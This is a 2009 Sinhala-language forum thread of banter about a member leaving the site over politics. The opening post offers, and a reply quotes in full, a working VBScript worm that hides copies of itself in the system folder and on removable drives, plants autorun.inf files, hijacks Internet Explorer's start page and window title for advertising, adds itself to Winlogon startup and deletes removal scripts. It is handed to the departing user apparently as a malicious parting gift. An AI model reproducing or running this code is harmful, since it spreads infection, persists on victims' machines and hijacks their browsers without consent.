mama yanawa machan

Rangau2 · Dec 22, 2009

......

uba yanawanam meka man gane....maka save karaganin .VBS kiyala.....ok ??tata bye bs !!
but uba yanne ai ban ?

Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\Dilan.VBS") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS"
For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("VirusRemoval") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"
If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
End If
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\Dilan.VBS") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS")
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
END IF
NEXT
END SUB

charurox · Dec 26, 2009

**cut · Dec 26, 2009

djdush · Dec 26, 2009

Idapan machan yanna epa.uba ela kollekne.

eronfx · Dec 26, 2009

Rangau2 said:
uba yanawanam meka man gane....maka save karaganin .VBS kiyala.....ok ??tata bye bs !!
but uba yanne ai ban ?

Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\Dilan.VBS") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS"
For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("VirusRemoval") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"
If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
End If
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\Dilan.VBS") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS")
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe Dilan.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
END IF
NEXT
END SUB

meken mokakda wenne :nerd:

kapugedara · Dec 26, 2009

Ela Ela
ennepa pettha palathatavath
Moota ivassanna behe kattiya MR ta mada gahana eka

charurox · Dec 26, 2009

kapugedara said:
Ela Ela
ennepa pettha palathatavath
Moota ivassanna behe kattiya MR ta mada gahana eka

PANCHAZ KIYANA EKATA LAJJAWAK NA BAN..
FAKE EWUNTA LAJJAWAK KOHOMAT NA'

SnowBlue · Dec 26, 2009

charurox said:
PANCHAZ KIYANA EKATA LAJJAWAK NA BAN..
FAKE EWUNTA LAJJAWAK KOHOMAT NA'

charurox ponna set eka :lo:

thicps · Dec 26, 2009

Yako meka hari keliyakne..munta mokak hari podi case ekak una gaman yanna balagena inne...Math yanawa yanna..ai ban meka mara wadakne....

thicps · Dec 26, 2009

eronfx said:
meken mokakda wenne

VB script ekak

charurox · Dec 26, 2009

SnowBlue said:
charurox ponna set eka :lo:

PANCHAZ = SnowBlue :lol:

coolnishan · Dec 26, 2009

charurox said:

ela Banner eka...

blacktulip · Dec 26, 2009

ela ela adata gihin hata varen machooooooooooooooo

charurox · Dec 26, 2009

coolnishan said:
ela Banner eka...

thnx bro
mamat ek eken tamai gatte

eronfx · Dec 26, 2009

thicps said:
VB script ekak

wenne mokakda :confused:

randi.cmb · Dec 26, 2009

charurox said:
UBATA HODA WADE..
ANE PALAYAN

UBALA WAGE EWUN ELAKIRI EKE NATI TARAMATA HODAI..
APITA NAM MONAWA UNAT ELAKIRI.COM TAMAI..

UBALATA NAM MAHINDA MAMA INNAWANE..
E NISA PALAYAN..
APITA MOKAK HARI DEYAK DANA GANNA , SONG 1K GANNA , SOFTWARE 1K GANNA WAGE ONEMA HELP 1K GANNA TIYENNE ELAKIRI.COM1 WITARAI..

UBATA NAM MAHINDA MAAM GEDARATAMA AWIT DENAWANE..
E NISA PALAYAN..

HABAI LAJJAWAK TIYENAWA NAM THREAD DAMMA WAGE APAHU ENNA EPA..
UBA YALU KAMIN INNA BALLEK..
EKA MAMA DANAGATTE MAWA BANN KARANNA KIYALA KIWWA WELAWE..
PALAYAN..

GUD LUCK..
AYE ENNA NAM EPA LAJJAWAK TIYENAWANAM

we can get an idea of who ur "mama" is from ya siggy lol...anywayz panchaz machn dnt go caz of politics! wat a waste bro...

charurox · Dec 26, 2009

randi.cmb said:
we can get an idea of who ur "mama" is from ya siggy lol...anywayz panchaz machn dnt go caz of politics! wat a waste bro...

machan mama kotanawat kiyala na mamek gana..
mrta kade yana ewun ganai kiwwe
so dnt afraid 2 swan .. :lol:

SnowBlue · Dec 27, 2009

charurox said:
machan mama kotanawat kiyala na mamek gana..
mrta kade yana ewun ganai kiwwe
so dnt afraid 2 swan ..

lolponnaseka uncle eka hodada

gn.karunarathna · Dec 27, 2009

he he.. dan EK eka mara fun

buddhihm · Dec 27, 2009

@ panchaz: Seriously its waste leaving ela kiri because of politics....the election will be over on the 26th...someone will win... and we'll be back to the same old ela kiri...

mama yanawa machan

Well-known member

Member

Well-known member

Well-known member

Active member

Banned

Member

Member

Well-known member

Well-known member

Member

Well-known member

Well-known member

Member

Active member

Member

Member

Member

Member

Junior member

Similar threads